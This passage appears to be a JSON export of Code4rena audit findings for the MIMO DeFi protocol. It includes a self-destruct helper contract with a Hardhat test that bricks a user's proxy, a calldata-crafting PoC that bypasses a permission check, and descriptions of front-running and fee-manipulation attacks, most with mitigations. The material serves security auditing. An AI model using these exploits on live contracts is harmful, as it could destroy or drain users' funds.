the proxy already exists and the owner is the same. if (address(currentProxy) != address(0) && currentProxy.code.length > 0 && currentProxy.owner() == owner) { revert CustomErrors.PROXY_ALREADY_EXISTS(owner); } ``` ### Test cases We'll use this `ProxyAttacks` helper contract to manipulate proxy storage. Note that it has the same storage layout as `MIMOProxy`. ```solidity contract ProxyAttacks { address public owner; uint256 public minGasReserve; mapping(address => mapping(address => mapping(bytes4 => bool))) internal _permissions; // Selector 0x9cb8a26a function selfDestruct() external { selfdestruct(payable(address(0))); } } ``` Then deploy the `ProxyAttacks` helper in a test environment and use `MIMOProxy` to `delegatecall` into it: ```typescript import chai, { expect } from 'chai'; import { solidity } from 'ethereum-waffle'; import { deployments, ethers } from 'hardhat'; import { MIMOProxy, MIMOProxyFactory, MIMOProxyRegistry, ProxyAttacks } from '../../typechain'; chai.use(solidity); const setup = deployments.createFixture(async () => { const { deploy } = deployments; const [owner, attacker] = await ethers.getSigners(); await deploy(\"MIMOProxy\", { from: owner.address, args: [], }); const mimoProxyBase: MIMOProxy = await ethers.getContract(\"MIMOProxy\"); await deploy(\"MIMOProxyFactory\", { from: owner.address, args: [mimoProxyBase.address], }); const mimoProxyFactory: MIMOProxyFactory = await ethers.getContract(\"MIMOProxyFactory\"); await deploy(\"MIMOProxyRegistry\", { from: owner.address, args: [mimoProxyFactory.address], }); const mimoProxyRegistry: MIMOProxyRegistry = await ethers.getContract(\"MIMOProxyRegistry\"); await deploy(\"ProxyAttacks\", { from: owner.address, args: [], }); const proxyAttacks: ProxyAttacks = await ethers.getContract(\"ProxyAttacks\"); return { owner, attacker, mimoProxyBase, mimoProxyFactory, mimoProxyRegistry, proxyAttacks, }; }); describe(\"Proxy attack tests\", () => { it(\"Proxy instance self destruct + recreation\", async () => { const { owner, mimoProxyRegistry, proxyAttacks } = await setup(); await mimoProxyRegistry.deploy(); const currentProxy = await mimoProxyRegistry.getCurrentProxy(owner.address); const proxy = await ethers.getContractAt(\"MIMOProxy\", currentProxy); // Delegatecall to selfDestruct on ProxyAttacks contract await proxy.execute(proxyAttacks.address, \"0x9cb8a26a\"); // Owner's existing proxy is destroyed expect(proxy.owner()).to.be.revertedWith(\"call revert exception\"); // Cannot deploy another proxy for this address through the registry await expect(mimoProxyRegistry.deploy()).to.be.revertedWith(\"function returned an unexpected amount of data\"); }); }); ```"}, {"title": "Malicious targets can manipulate MIMOProxy permissions", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/161", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-08-mimo-findings", "body": "Malicious targets can manipulate MIMOProxy permissions"}, {"title": "Incorrect implementation of access control in MIMOProxy:execute", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/159", "labels": ["bug", "question", "3 (High Risk)", "sponsor confirmed"], "target": "2022-08-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-mimo/blob/main/contracts/proxy/MIMOProxy.sol#L54 https://github.com/code-423n4/2022-08-mimo/blob/main/contracts/proxy/MIMOProxy.sol#L104 # Vulnerability details ## Description There is a function `execute` in `MIMOProxy` smart contract. The function performs a delegate call to the user-specified address with the specified data. As an access control, the function checks that either it was called by the owner or the owner has previously approved that the sender can call a specified target with specified calldata. See https://github.com/code-423n4/2022-08-mimo/blob/main/contracts/proxy/MIMOProxy.sol#L104. The check itself: ``` if (owner != msg.sender) { bytes4 selector; assembly { selector := calldataload(data.offset) } if (!_permissions[msg.sender][target][selector]) { revert CustomErrors.EXECUTION_NOT_AUTHORIZED(owner, msg.sender, target, selector); } } ``` The problem is how the `selector` is calculated. Specifically, `calldataload(data.offset)` - reads first 4 bytes of `data`. Imagine `data.length == 0`, does it mean that `calldataload(data.offset)` will return `bytes4(0)`? No. Let's see how calldata are accepted by functions in Solidity. The solidity function checks that the calldata length is less than needed, but does NOT check that there is no redundant data in calldata. That means, the function `execute(address target, bytes calldata data)` will definitely accept data that have `target` and `data`, but also in calldata can be other user-provided bytes. As a result, `calldataload(data.offset)` can read trash, but not the `data` bytes. And in the case of `execute` function, an attacker can affect the execution by providing `trash` data at the end of the function. Namely, if the attacker has permission to call the function with some `signature`, the attacker can call proxy contract bypass check for signature and make delegate call directly with zero calldata. Please see proof-of-concept (PoC), `getAttackerCalldata` returns a calldata with which it is possible to bypass check permission for signature. Function `execute` from PoC simulate check for permission to call `signatureWithPermision`, and enforce that `data.length == 0`. With calldata from `getAttackerCalldata` it works. ## Impact Any account that have permission to call at least one function (signature) to the contract can call fallback function without without permission to do so. ## Proof of Concept ``` // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.8.0; interface IMIMOProxy { event Execute(address indexed target, bytes data, bytes response); event TransferOwnership(address indexed oldOwner, address indexed newOwner); function initialize() external; function getPermission( address envoy, address target, bytes4 selector ) external view returns (bool); function owner() external view returns (address); function minGasReserve() external view returns (uint256); function execute(address target, bytes calldata data) external payable returns (bytes memory response); function setPermission( address envoy, address target, bytes4 selector, bool permission ) external; function transferOwnership(address newOwner) external; function multicall(address[] calldata targets, bytes[] calldata data) external returns (bytes[] memory); } contract PoC { bytes4 public signatureWithPermision = bytes4(0xffffffff); // Call this function with calldata that can be prepared in `getAttackerCalldata` function execute(address target, bytes calldata data) external { bytes4 selector; assembly { selector := calldataload(data.offset) } require(selector == signatureWithPermision); require(data.length == 0); } // Function that prepare attacker calldata function getAttackerCalldata() public view returns(bytes memory) { bytes memory usualCalldata = abi.encodeWithSelector(IMIMOProxy.execute.selector, msg.sender, new bytes(0)); return abi.encodePacked(usualCalldata, bytes32(signatureWithPermision)); } } ``` ## Recommended Mitigation Steps Add `require(data.length >= 4);`"}, {"title": "Malicious manipulation of gas reserve can deny access to MIMOProxy", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/158", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2022-08-mimo-findings", "body": "Malicious manipulation of gas reserve can deny access to MIMOProxy"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "[H3] Persisted msg.value in a loop of delegate calls can be used to drain ETH from your proxy", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/153", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "old-submission-method"], "target": "2022-08-mimo-findings", "body": "[H3] Persisted msg.value in a loop of delegate calls can be used to drain ETH from your proxy"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "User may be front-run when trying to deploy `MIMOProxy`", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/148", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-mimo-findings", "body": "User may be front-run when trying to deploy `MIMOProxy`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/147", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/145", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/143", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/142", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/140", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/138", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/137", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/135", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "`vaultOwner` Can Front-Run `rebalance()` With `setAutomation()` To Lower Incentives ", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/134", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-mimo/blob/main/contracts/actions/automated/MIMOAutoAction.sol#L32 https://github.com/code-423n4/2022-08-mimo/blob/main/contracts/actions/automated/MIMOAutoRebalance.sol#L54 # Vulnerability details ## Impact A `vaultOwner` who is \"not confident enough in ourselves to stay up-to-date with market conditions to know when we should move to less volatile collateral to avoid liquidations.\" They can open their vault to other users who pay attention to the markets and would call `rebalance` to recieve the insentivized fees. The `vaultOwner` who doesn't want to pay the baiting high fees instead front-runs the `autoRebalance()` with `setAutomation()` to lower incentives. ## Proof of Concept 1. A Mallory a `vaultOwner` isn't confident in staying up-to-date with market conditions. She has her vault setup to be automated and has high fee incentives. 2. Alice a user who is confident in staying up-to-date with market conditions see's a profitable opportunity and calls `rebalance()`. 3. Mallory is confident in her programing and watching mempools for when `rebalance()` is called. See's that Alice just called `rebalance()` and calls `setAutomation()` to lower the incentives. 4. Alice's call to `rebalance()` then goes through getting lower incentives and Mallory then calls `setAutomation()` to set the incentives back to normal. ## Tools Used Manual Review ## Recommended Mitigation Steps Add a time-lock to `setAutomation` so that the `vaultOwner` can't front-run users."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/133", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/132", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/131", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/130", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/128", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/127", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/124", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "ProxyFactory can circumvent ProxyRegistry", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/123", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxyFactory.sol#L45 # Vulnerability details ## Impact The `deployFor()` function in `MIMOProxyFactory.sol` can be called directly instead of being called within `MIMOProxyRegistry.sol`. This results in the ability to create many MIMOProxies that are not registered within the registry. The proxies deployed directly through the factory will lack the ability to call certain actions such as leveraging and emptying the vault, but will be able to call all functions in `MIMOVaultAction.sol`. This inconsistency doesn't feel natural and would be remedied by adding an `onlyRegistry` modifier to the `ProxyFactory.deployFor()` function. ## Proof of Concept `MIMOProxyFactory.deployFor()` lacking any access control: ``` function deployFor(address owner) public override returns (IMIMOProxy proxy) { proxy = IMIMOProxy(mimoProxyBase.clone()); proxy.initialize(); // Transfer the ownership from this factory contract to the specified owner. proxy.transferOwnership(owner); // Mark the proxy as deployed. _proxies[address(proxy)] = true; // Log the proxy via en event. emit DeployProxy(msg.sender, owner, address(proxy)); } } ``` Example of reduced functionality: `MIMOEmptyVault.executeOperation()` checks proxy existence in the proxy registry therefore can't be called. ``` function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { (address owner, uint256 vaultId, SwapData memory swapData) = abi.decode(params, (address, uint256, SwapData)); IMIMOProxy mimoProxy = IMIMOProxy(proxyRegistry.getCurrentProxy(owner)); ``` ## Tools Used Manual review. ## Recommended Mitigation Steps Adding access control to ensure that the factory deployFor function is called from the proxy registry would mitigate this issue."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/115", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/114", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/113", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/109", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/99", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/88", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/83", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/82", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "Registry.sol works bad - it fails to delivere expected functionality", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/78", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-08-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxyFactory.sol#L40-L58 https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxyRegistry.sol#L39-L59 # Vulnerability details ## Impact The description of Registry.sol is following: /// Deploys new proxies via the factory and keeps a registry of owners to proxies. Owners can only /// have one proxy at a time. But it is not. There are multiple problems: 1) Proxy owner can change and will not be registered 2) There many ways for an owner to have many proxies: - a few other proxy owners transfeOwnership() to one address - Registry tracks last deployments and does not guarantee ownership - Factory.sol allows calling deployFor() to anyone, without any checks and registrations ## Proof of Concept https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxyFactory.sol#L40-L58 https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxyRegistry.sol#L39-L59 ## Tools Used Hardhat ## Recommended Mitigation Steps Delete Proxy.transfetOwnership() Disallow anyone to call deploy() and deployFor() in Factory()"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/74", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/73", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Automation / management can be set for not yet existing vault", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/68", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-08-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-mimo/blob/9adf46f2efc61898247c719f2f948b41d5d62bbe/contracts/actions/automated/MIMOAutoAction.sol#L33 https://github.com/code-423n4/2022-08-mimo/blob/9adf46f2efc61898247c719f2f948b41d5d62bbe/contracts/actions/managed/MIMOManagedAction.sol#L35 # Vulnerability details ## Impact & Proof Of Concept `vaultOwner` returns zero for a non-existing `vaultId`. Similarly, `proxyRegistry.getCurrentProxy(msg.sender)` returns zero when `msg.sender` has not deployed a proxy yet. Those two facts can be combined to set automation for a vault ID that does not exist yet. When this is done by a user without a proxy, it will succeed, as both `vaultOwner` and `mimoProxy` are `address(0)`, i.e. we have `vaultOwner == mimoProxy`. The consequences of this are quite severe. As soon as the vault is created, it will be an automated vault (with potentially very high fees). An attacker can exploit this by setting very high fees before the creation of the vault and then performing actions for the automated vault, which leads to a loss of funds for the user. The same attack is possible for `setManagement`. ## Recommended Mitigation Steps Do not allow setting automation parameters for non-existing vaults, i.e. check that `vaultOwner != address(0)`."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/64", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/63", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/61", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/59", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/54", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/52", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/50", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "The length of address[] calldata targets and bytes calldata data not checked to see if they are equal in Muticall MIMOProxy", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/47", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "The length of address[] calldata targets and bytes calldata data not checked to see if they are equal in Muticall MIMOProxy"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/40", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "Vault rebalancing can be exploited if two vaults rebalance into the same vault", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/39", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "edited-by-warden"], "target": "2022-08-mimo-findings", "body": "Vault rebalancing can be exploited if two vaults rebalance into the same vault"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "MIMOManagedRebalance.sol#rebalance calculates managerFee incorrectly", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/34", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/actions/managed/MIMOManagedRebalance.sol#L50-L80 # Vulnerability details ## Impact Inconsistent manager fees could lead to lack of incentivization to rebalance and unexpected liquidation. ## Proof of Concept uint256 managerFee = managedVault.fixedFee + flData.amount.wadMul(managedVault.varFee); IERC20(a.stablex()).safeTransfer(managedVault.manager, managerFee); The variable portion of the fee is calculated using the amount of the flashloan but pays out in PAR. This is problematic because the value of the flashloan asset is constantly fluctuating in value against PAR. This results in an unpredictable fee for both the user and the manager. If the asset drops in price then the user will pay more than they intended. If the asset increases in price then the fee may not be enough to incentivize the manager to call them. The purpose of the managed rebalance is limit user interaction. If the manager isn't incentivized to call the vault then the user may be unexpectedly liquidated, resulting in loss of user funds. ## Tools Used ## Recommended Mitigation Steps varFee should be calculated against the PAR of the rebalance like it is in MIMOAutoRebalance.sol: IPriceFeed priceFeed = a.priceFeed(); address fromCollateral = vaultsData.vaultCollateralType(rbData.vaultId); uint256 rebalanceValue = priceFeed.convertFrom(fromCollateral, flData.amount); uint256 managerFee = managedVault.fixedFee + rebalanceValue.wadMul(managedVault.varFee);"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-mimo-findings", "body": "Gas Optimizations"}, {"title": "MIMOEmptyVault.sol executeOperation() does not transfer the Vault leftover assets to the owner, it is locked in the MIMOEmptyVault", "html_url": "https://github.com/code-423n4/2022-08-mimo-findings/issues/18", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-08-mimo-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/actions/MIMOEmptyVault.sol#L96-L100 # Vulnerability details ## Impact MIMOEmptyVault.sol executeAction() is supposed to pay off the debt and return the leftover assets to the owner of the Vault But In fact the emptyVault contract, after executing the executionOperation(), only pays back the flash loan, and does not transfer the leftover assets to the owner, and locked in the emptyVault contract ## Proof of Concept ``` function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { .... .... require(flashloanRepayAmount <= vaultCollateral.balanceOf(address(this)), Errors.CANNOT_REPAY_FLASHLOAN); vaultCollateral.safeIncreaseAllowance(address(lendingPool), flashloanRepayAmount); //****Paid off the 